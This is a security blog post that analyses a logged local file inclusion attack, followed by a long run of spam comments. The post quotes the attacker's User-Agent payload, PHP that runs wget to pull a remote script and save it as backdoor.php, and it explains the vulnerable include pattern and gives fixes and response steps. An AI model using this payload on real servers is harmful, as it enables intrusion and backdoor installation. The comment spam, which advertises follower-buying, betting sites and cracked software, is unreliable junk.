Event Details
Date
21 June 2010
POST Values
file: ../../proc/self/environ
SERVER Values
HTTP_USER_AGENT:
<? exec(\"wget http://[remotescript].txt -O backdoor.php\"); ?>
This is a simplified version of what was captured in the user agent field.
What the hacker was hoping for
What we have hear is a local file injection attack coupled with injected PHP code.
The visitor hopes that my code that handles file inclusion is written something like this:
<?php
// Include file requested
include($_GET['file']);
?>
Thus the file that will be included would be:
/var/www/../../proc/self/environ (which equates to /proc/self/environ)
The hacker is attempting to include the proc details about the current Apache thread. /proc/ contains information about all the running threads, /proc/self/ contains the current thread being run). Apache stores various values in the /proc/self/environ (environment variables) such as the visitors IP address, user agent, script called and other values like this:
DOCUMENT_ROOT=/var/www GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID= HTTP_HOST=www.example.com HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) PATH=/bin:/usr/bin QUERY_STRING= REMOTE_ADDR=x.x.x.x REMOTE_PORT=xxxx REQUEST_METHOD=GET REQUEST_URI=/index.php SCRIPT_FILENAME=/var/www/index.php SCRIPT_NAME=/index.php SERVER_ADDR=x.x.x.x SERVER_ADMIN=webmaster@example.com SERVER_NAME=www.example.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.1 SERVER_SIGNATURE=
Apache/2.0 (Unix)
However, since the hacker has set his own custom User-Agent (HTTP_USER_AGENT), that will be included and executed as PHP code. The PHP code would then execute shell commands to retrieve a remote script, download it to the server and place it in the website folder:
<?
// Fetch remote script and place in /tmp/dump
exec("wget http://[remotescript].txt -O backdoor.php");
>
Now the hacker can now visit his page and run any commands he wants on your webserver.
http://www.example.com/backdoor.php
How to prevent this
- Sanitize your inputs
- Ensure that directory traversal is disabled/checked for
- Work with an allowed list of files
$allowed_files = array('file1.php', 'file2.php');
$allowed_index = array_search($_GET['file'], $allowed_files)
if ($allowed_index !== NULL)
{
include $allowed_files[$allowed_index];
} - Don't allow visitors to specify by name
$allowed_files = array('file1' => 'file1.php', 'file2' => 'file2.php');
if (!empty($allowed_files[$_GET['file']]))
{
include $allowed_files[$_GET['file']];
}
Threat Level
High
Course of Action
If this has happened to you, do the following:
- Take the server offline (if possible)
- Check active process list for unknown scripts and kill them
- Patch/Fix the file inclusion vulnerability (update your web application with the latest version)
- Check your httpd/apache logs (located in either /var/log/httpd/ or /var/log/apache/ folders) for visits from the hacker to determine his IP address(es) and pinpoint which scripts he was hitting (to identify backdoors)
- Remove backdoor scripts
- Monitor you logs. The hacker will probably return and attempt to reinfect your server.
great
ReplyDeleteGreat Article Cyber Security Projects projects for cse Networking Security Projects JavaScript Training in Chennai JavaScript Training in Chennai The Angular Training covers a wide range of topics including Components, Angular Directives, Angular Services, Pipes, security fundamentals, Routing, and Angular programmability. The new Angular TRaining will lay the foundation you need to specialise in Single Page Application developer. Angular Training
DeleteI have read your blog its very attractive and impressive. I like it your blog.
ReplyDeletePHP 7 Training in chennai | PHP 7 Training Course
PHP 7 Training in chennai | Online PHP 7 Course
I appreciate your efforts because it conveys the message of what you are trying to say. It's a great skill to make even the person who doesn't know about the subject could able to understand the subject . Your blogs are understandable and also elaborately described. I hope to read more and more interesting articles from your blog. All the best.
ReplyDeleterpa training in bangalore
best rpa training in bangalore
RPA training in bangalore
rpa course in bangalore
rpa training in chennai
rpa online training
Some us know all relating to the compelling medium you present powerful steps on this blog and therefore strongly encourage contribution from other ones on this subject while our own child is truly discovering a great deal. Have fun with the remaining portion of the year.
ReplyDeletepython training Course in chennai
python training in Bangalore
Python training institute in bangalore
ReplyDeleteWhoa! I’m enjoying the template/theme of this website. It’s simple, yet effective. A lot of times it’s very hard to get that “perfect balance” between superb usability and visual appeal. I must say you’ve done a very good job with this.
AWS Training in Bangalore | Best AWS Amazon Web Services…
Amazon Web Services (AWS) Training in Pune India
AWS Training | AWS Training and Certification | AWS online training
AWS Training in Bangalore cost| Aws training in Bangalore with placements
Hi, Great.. Tutorial is just awesome..It is really helpful for a newbie like me.. I am a regular follower of your blog. Really very informative post you shared here. Kindly keep blogging.
ReplyDeleteAWS Training in pune
AWS Online Training
AWS Training in Bangalore
Great post. I was once checking constantly this weblog and I'm impressed! Extremely useful information specially the closing part. I maintain such information much. I was once seeking this specific information for a very long time. Many thanks and best of luck.
ReplyDeletesamsung mobile service center in velachery
samsung mobile service center in porur
samsung mobile service center in vadapalani
Flying Shift - Packers & Movers in Bhopal
ReplyDeletenice blog
ReplyDeleteget best placement at VSIPL
digital marketing services
web development company
seo network point
nice blog
ReplyDeleteget best placement at VSIPL
get digital marketing services
seo network point
nice blog
ReplyDeleteget best placement at VSIPL
get digital marketing services
seo network point
ReplyDeleteClick here to cloud tech.
.......................................................
Thanks for Posting such an useful info...
ReplyDeletebest aws training in bangalore
amazon aws tutorial
Thanks for the informative article About AWS.This is one of the best resources I have found in quite some time. Nicely written and great info. I really cannot thank you enough for sharing.
ReplyDeleteJava training in chennai | Java training in annanagar | Java training in omr | Java training in porur | Java training in tambaram | Java training in velachery
Thanks for post.I do agree your blog for quiz programming concepts, which is very helpful to grow up your knowledge. keep sharing more
ReplyDeleteaws training in chennai | aws training in annanagar | aws training in omr | aws training in porur | aws training in tambaram | aws training in velachery
This is really a very good article about Java.Thanks for taking the time to discuss with us , I feel happy about learning this topic.
ReplyDeleteAWS training in chennai | AWS training in annanagar | AWS training in omr | AWS training in porur | AWS training in tambaram | AWS training in velachery
This is really a very good article about Java.Thanks for taking the time to discuss with us , I feel happy about learning this topic.
ReplyDeleteAWS training in chennai | AWS training in annanagar | AWS training in omr | AWS training in porur | AWS training in tambaram | AWS training in velachery
It's highly informative. The reader can easily understand the concept by reading.
ReplyDeleteAWS training in Chennai
AWS Online Training in Chennai
AWS training in Bangalore
AWS training in Hyderabad
AWS training in Coimbatore
AWS training
AWS online training
I found your blog while searching for the updates, I am happy to be here. Very useful content and also easily understandable providing.. Believe me I did wrote an post about tutorials for beginners with reference of your blog.
ReplyDeleteAws Training in Chennai
Aws Training in Velachery
Aws Training in Tambaram
Aws Training in Porur
Aws Training in Omr
Aws Training in Annanagar
The Best Training Center in Adyar Chennai & Affordable Fee Please Call Us below Courses
ReplyDeleteaws training in chennai
Python training in Chennai
data science training in chennai
hadoop training in chennai
machine learning training chennai
I have been searching to find a comfort or effective procedure to complete this process and I think this is the most suitable way to do it effectively. ExcelR Data Science Course In Pune
ReplyDeleteInformative blog
ReplyDeleteData Science Course in Pune
It was wonderfull reading your article. Great writing style # BOOST Your GOOGLE RANKING.It’s Your Time To Be On #1st Page Our Motive is not just to create links but to get them indexed as will Increase Domain Authority (DA).We’re on a mission to increase DA PA of your domain High Quality Backlink Building Service 1000 Backlink at cheapest 50 High Quality Backlinks for just 50 INR 2000 Backlink at cheapest 5000 Backlink at cheapest
ReplyDeleteCliff Saunders has spent over 20 years as a student of health and wellness and writes about various treatment modalitieskamapisachi nude anveshi jain nude tamanna sex kajal agarwal xxx simran kaur nude disha patani nude actress nude disha patani boobs rashmika mandanna nude
ReplyDeletecoin haber - bitcoin haberleri - instagram video indir - instagram takipçi satın al - instagram takipçi satın al - tiktok takipçi satın al - instagram takipçi satın al - instagram takipçi satın al - instagram takipçi satın al - instagram takipçi satın al - instagram takipçi satın al - binance güvenilir mi - binance güvenilir mi - binance güvenilir mi - binance güvenilir mi - instagram beğeni satın al - instagram beğeni satın al - google haritalara yer ekleme - btcturk güvenilir mi - binance hesap açma - kuşadası kiralık villa - tiktok izlenme satın al - instagram takipçi satın al - sms onay - paribu sahibi kim - binance sahibi kim - btcturk sahibi kim - paribu ne zaman kuruldu - binance ne zaman kuruldu - btcturk ne zaman kuruldu - youtube izlenme satın al - torrent oyun - google haritalara yer ekleme - altyapısız internet - bedava internet - no deposit bonus forex - erkek spor ayakkabı - tiktok jeton hilesi - tiktok beğeni satın al - microsoft word indir - misli indir
ReplyDeleteInformative and useful article with detailed explanation. Thanks for sharing Angular training in Chennai
ReplyDeleteaşk kitapları
ReplyDeleteyoutube abone satın al
takipçi satın al
takipçi satın al
takipçi satın al
takipcialdim.com/tiktok-takipci-satin-al/
instagram beğeni satın al
beğeni satın al
btcturk
tiktok izlenme satın al
sms onay
youtube izlenme satın al
tiktok jeton hilesi
tiktok beğeni satın al
takipçi satın al
uc satın al
sms onay
sms onay
tiktok takipçi satın al
tiktok beğeni satın al
twitter takipçi satın al
trend topic satın al
youtube abone satın al
instagram beğeni satın al
tiktok beğeni satın al
twitter takipçi satın al
trend topic satın al
youtube abone satın al
takipcialdim.com/instagram-begeni-satin-al/
perde modelleri
instagram takipçi satın al
instagram takipçi satın al
takipçi satın al
instagram takipçi satın al
betboo
marsbahis
sultanbet
Tamamen Otomatik Sistem ile Siparişleriniz 7 Gün 24 Saat Hızlı ve Sorunsuz Bir Şekilde Tamamlanmaktadır. instagram takipçi satın al ve daha fazlası.
ReplyDeleteinstagram takipçi satın al
instagram beğeni satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
instagram takipçi satın al
takipçi satın al
ucuz takipçi satın al
tiktok takipçi satın al
instagram takipçi satın al
ReplyDeleteucuz takipçi
takipçi satın al
https://takipcikenti.com
https://ucsatinal.org
instagram takipçi satın al
https://perdemodelleri.org
https://yazanadam.com
instagram takipçi satın al
balon perdeler
petek üstü perde
mutfak tül modelleri
kısa perde modelleri
fon perde modelleri
tül perde modelleri
https://atakanmedya.com
https://fatihmedya.com
https://smmpaketleri.com
https://takipcialdim.com
https://yazanadam.com
yasaklı sitelere giriş
aşk kitapları
yabancı şarkılar
sigorta sorgula
https://cozumlec.com
word indir ücretsiz
tiktok jeton hilesi
rastgele görüntülü sohbet
erkek spor ayakkabı
fitness moves
gym workouts
https://marsbahiscasino.org
http://4mcafee.com
http://paydayloansonlineare.com
Thanks for sharing the detailed content with all of us, keep writing.
ReplyDeleteData Science Training in Pune
I recently came across your article and have been reading along. I want to express my admiration of your writing skill and ability to make readers read from the beginning to the end.
ReplyDeletePython Classes in Pune
marsbahis
ReplyDeletebetboo
sultanbet
marsbahis
betboo
sultanbet
Valuable Information. It's very useful for me. Thank You
ReplyDeleteAWS training in chennai | AWS course in Chennai
Amazing Articles ! I would like to thank you for the efforts you had made for writing this awesome article. This article inspired me to read more. keep it up.If you are Searching for info click on given link
ReplyDeleteData science course in pune
Hi, this is really amazing article, thanks for posting and sharing this article. we are supporting training for all. click here for further details please
ReplyDeletefull stack developer course near me , online internships for ece students , online internship for electrical engineering students , online internship for ece students , online internship for cse students , online internship for b.com students , internship for eee students , internship for cse 3rd year students , ethical hacking internship , cse mini projects
bursa
ReplyDeleteçankırı
çorum
denizli
diyarbakır
edirne
elazığ
erzincan
erzurum
.You can put a smile on my face even when I don’t feel like smiling at all
ReplyDelete.I think it’s the most amazing thing about our friendship
.We make each other laugh all the time
.And it helps a lot to live a life full of complicated stuff
.Love you, buddy. دانلود آهنگ سهراب پاکزاد نور چشمی
If it's not too much trouble share more like that. Monthly Seo Packages
ReplyDeleteVery interesting to read this article. I would like to thank you for the efforts you give. click here for internship details Internship for MCA Students , Online Internship for MCA Students , Summer Internship for MCA Students , Internship for MSC Students , Online Internship for MSC Students , Summer Internship for MSC Students , Internship in Chennai for MSC Students , Msc Internship , Online MSC Internship , MSC Online Internship
ReplyDeleteI am expecting more interesting topics from you. And this was nice content. click here for project details MCA Project Topics , MCA Final Year Project , MCA Final Year Project Topics , MCA Mini Project Topics , cse mini projects , M.Sc Computer Science Project Topics , Mini Project Topics for MSc Computer Science , MSc Computer Science Project Topics in Php , MSc Computer Science Project Topics in Python , MSc Computer Science Project Topics in Java
ReplyDeleteGreat Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end. best micronutrients for plants
ReplyDeleteCome up with a great learning experience of Data Science training in Chennai, from Infycle Technologies, the best software training institute in Chennai. Get up with other technical courses like Data Science, Selenium Automation Testing, Mobile App Development, Cyber Security, Big Data, Full Stack Development with a great learning experience and outstanding placements in top IT firms. For best offers with learning, reach us on +91-7504633633, +91-7502633633.
ReplyDeleteseo fiyatları
ReplyDeletesaç ekimi
dedektör
instagram takipçi satın al
ankara evden eve nakliyat
fantezi iç giyim
sosyal medya yönetimi
mobil ödeme bozdurma
kripto para nasıl alınır
안동출장샵
ReplyDeletebitcoin nasıl alınır
ReplyDeletetiktok jeton hilesi
youtube abone satın al
gate io güvenilir mi
referans kimliği nedir
tiktok takipçi satın al
bitcoin nasıl alınır
mobil ödeme bozdurma
mobil ödeme bozdurma
SMM PANEL
ReplyDeletesmm panel
iş ilanları
İNSTAGRAM TAKİPÇİ SATIN AL
hirdavatci burada
HTTPS://WWW.BEYAZESYATEKNİKSERVİSİ.COM.TR
servis
tiktok jeton hilesi
Those Looking for Download Microsoft Office Free find Luck with these Top Searches. You have to see these searches for Download Microsoft Office Free. Microsoft Office Rar
ReplyDeleteThis is completely powerful software that helps it’s users in mainstream. The features of Windows 8 are totally amazing and they works very well. Windows 8.1 Crack Download
ReplyDelete“In case you have not made any plans for the weekend yet, it's Thursday. Start planning!” “It's Thursday. I'm breathing. I'm Alive and I'm Blessed. God is Good. Thursday Quotes
ReplyDelete